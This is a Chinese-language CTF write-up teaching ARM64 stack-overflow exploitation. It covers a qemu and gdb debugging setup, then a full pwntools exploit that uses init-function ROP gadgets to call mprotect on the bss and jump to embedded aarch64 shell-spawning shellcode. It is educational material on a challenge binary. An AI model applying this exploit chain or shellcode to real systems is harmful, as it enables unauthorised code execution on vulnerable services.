arm pwn 初探


学习网站azeria-labs,这个网站里蛮多arm教程,有基础的arm汇编,还有arm exploit,还有如何使用ubuntu 构建树莓派虚拟机。

如何搭建arm pwn环境和下面要讲的如何利用arm pwn参考这篇文章
ARM64 调试环境搭建及 ROP 实战
题目地址 pwn

环境搭建

可以使用 apt 安装 arm 的动态库,然后用 qemu 运行,也可以安装一个树莓派虚拟机,做题直接参考先知的那篇文章,最简单

安装树莓派虚拟机

直接下载现成的

azeria-labs提供了装有树莓派虚拟机的ubuntu vmware 虚拟机,下载地址,里面提供多个下载渠道,google 云盘速度比较快,但是需要科学上网。

动手安装树莓派虚拟机

还可以跟随azeria-labs的教程在ubuntu里安装树莓派虚拟机,RASPBERRY PI ON QEMU

直接按参考先知的那篇文章,最简单。

直接使用 apt 安装 arm 的动态库,然后用 qemu 运行即可

1
2
3
4
5
6
sudo apt-get install -y gcc-aarch64-linux-gnu g++-aarch64-linux-gnu
#下面的命令可以直径运行arm 64位arm 程序
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./pwn

-g 1234: 表示 qemu 会在 1234 起一个 gdbserver 等待 gdb 客户端连接后才能继续执行
-L /usr/aarch64-linux-gnu: 指定动态库路径

一般做题的时候需要编写exp脚本来调试,可以这么做:
先运行

1
socat tcp-l:10002,fork exec:"qemu-aarch64 -g 1234  -L /usr/aarch64-linux-gnu ./pwn",reuseaddr

该命令会监听在 10002 端口, 每有一个连接过来,就执行

1
qemu-aarch64 -g 1234  -L /usr/aarch64-linux-gnu ./pwn

然后
exp这么写

1
2
3
4
5
6
7
8
9
10
#coding=utf-8
from pwn import *
from time import sleep
elf = ELF("./pwn")
context.binary = elf
context.log_level = "debug"

sh = remote("127.0.0.1", 10002)

pause()

执行exp脚本,该终端会暂停执行,然后新开一个终端
在这里插入图片描述
执行下面的命令进入gdb

1
2
3
gdb-multiarch pwn -q
#如果提示没有gdb-multiarch,直接apt install gdb-multiarch就行
#pwn 是要调试的二进制名

然后再执行,题外话好像只有gef插件能正常工作

1
gef?  target  remote 127.0.0.1:1234

在这里插入图片描述
断了下来,可以下断点啥的
在这里插入图片描述
然后在执行exp 的那终端按任意键继续即可。

开始做题

查看安全保护

开启了栈不可执行保护
在这里插入图片描述

ida查看

定位main函数,可以看start函数,里面会调用__libc_start_main函数,而__libc_start_main函数的第一个参数即为main函数(我这里给改名为main函数了,原始的是sub_400818)
在这里插入图片描述

main函数

1
2
3
4
5
6
7
8
int __cdecl sub_400818(int argc, const char **argv, const char **envp)
{
  setvbuf_3();
  write(1LL, "Name:", 5LL);
  read(0LL, &unk_411068, 0x200LL);
  vuln();
  return 0;
}

main函数先向bss段0x411068地址读入0x200个字节的内容
然后调用vuln函数

1
2
3
4
5
6
__int64 vuln()
{
  __int64 v1; // [xsp+10h] [xbp+10h]

  return read(0LL, &v1, 0x200LL);
}

vuln函数存在明显的栈溢出漏洞。
同时也可以看到arm 64位函数的三个参数会存到x2,x1,w0寄存器中
在这里插入图片描述
并且程序有mprotect函数
在这里插入图片描述

确定偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#coding=utf-8
from pwn import *
from time import sleep
elf = ELF("./pwn")
context.binary = elf
context.log_level = "debug"

sh = remote("127.0.0.1", 10002)

pause()

sh.recvuntil("Name:")


payload = 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
sh.send(payload)

在这里插入图片描述
得到偏移为72
在这里插入图片描述
这里要说的一点是arm64架构与x64架构不一样的是,栈基址x29,返回地址x30存储在栈顶,而x64是存储在栈底,子程序返回指令,返回地址默认保存在LR(X30)

总体思路是,先向bss段输入shellcode,然后在vuln函数里通过栈溢出,布置gadgets,调用mprotect(0x411000,0x1000,7),使0x411000为起始地址大小0x1000的地址空间有执行权限,最后再跳转到该处执行shellcode

寻找gadgets

arm64 前面 8 个参数 都是通过寄存器来传递 x0~x7。

下面两段 gadget 位于 程序初始化函数的那一部分, 以后可以作为通用 gadgets,类似于x64架构的ret_csu

1
2
3
4
5
6
7
8
9
10
11
12
0x4008CC : ldp x19, x20, [sp, #0x10] ;
            ldp x21, x22, [sp, #0x20] ;
            ldp x23, x24, [sp, #0x30] ;
            ldp x29, x30, [sp], #0x40 ;
            ret
           
0x4008AC :  ldr x3, [x21, x19, lsl #3] ;
            mov x2, x22 ;
            mov x1, x23 ;
            mov w0, w24 ;
            add x19, x19, #1 ;
            blr x3

第一个 gadget 则从 栈上取出数据设置了 x19 ~ 0x24 和 x29,x30 然后 ret.,而栈上的数据使我们可以控制的。

  • ldp x19, x20, [sp, #0x10] ; 从sp+0x10起始处取两个8字节的数据复制给x19和x20。
  • ldp x21, x22, [sp, #0x20] ;从sp+0x20起始处取两个8字节的数据复制给x21和x22。
  • ldp x23, x24, [sp, #0x30] ;从sp+0x30起始处取两个8字节的数据复制给x23和x24。
  • ldp x29, x30, [sp], #0x40 ; 从sp起始处取两个8字节的数据复制给x29和x30。然后sp=sp+0x40

第二个 gadget 使用 x22, x23, x24 寄存器的值设置了 x2, x1 , w0 的值 , 这正好设置了函数调用的三个参数。然后会跳转到 x3. 而 x3 是从 x21 + x19<<3 处取出来的。

通过第一个gadget设置x22,x23,x24为mprotect函数的三个参数,设置x21为shellcode的地址,x19=0,给x30赋值为第二个gadget的地址。然后跳到第二个gadget执行,设置函数调用实际要用到的寄存器,即x2,x1,w0,

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#coding=utf-8
from pwn import *
from time import sleep
elf = ELF("./pwn")
context.binary = elf
context.log_level = "debug"
#shellcode=asm(shellcraft.aarch64.linux.sh(),arch='aarch64'),不知道为啥我这pwntools 无法调用shellcraft模块
shellcode ='\xeeE\x8c\xd2.\xcd\xad\xf2\xee\xe5\xc5\xf2\xeee\xee\xf2\x0f\r\x80\xd2\xee?\xbf\xa9\xe0\x03\x00\x91\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xa8\x1b\x80\xd2\x01\x00\x00\xd4'
sh = remote("127.0.0.1", 10002)
pause()
sh.recvuntil("Name:")
payload = p64(0x4007E0) #调用mprotect函数
payload += p64(0)
payload += shellcode #执行我们的shellcode
sh.send(payload)


payload = 'a'*72
payload += p64(0x4008CC) # pc, gadget 1
payload += p64(0x0)  # x29
payload += p64(0x4008AC)  # x30, ret address ----> gadget 2
payload += p64(0x0)  # x19
payload += p64(0x0)  # x20  
payload += p64(0x0411068)  # x21---> x3 #调用mprotect函数
payload += p64(0x7)  # x22---> x2  mprotect参数3 , rwx
payload += p64(0x1000)  # x23--->x1 mprotect参数2, size
payload += p64(0x411000)  # x24---> w0 mprotect参数1 , address
payload += p64(0x0411068 + 0x10)
payload += p64(0x0411068 + 0x10) # ret to shellcode

sh.sendline(payload)
sh.interactive()

0x4007e0为调用mprotect函数的地址
在这里插入图片描述
这里选择了 0x4007E0, 因为这里执行完后就会 从栈上取地址返回, 我们可以再次控制 pc

1
2
.text:00000000004007E8                 LDP             X29, X30, [SP+var_s0],#0x10
.text:00000000004007EC                 RET

执行到 04007E8时的 栈

1
2
p64(0x0411068 + 0x10)
p64(0x0411068 + 0x10) # ret to shellcode

然后就可以执行shellcode了。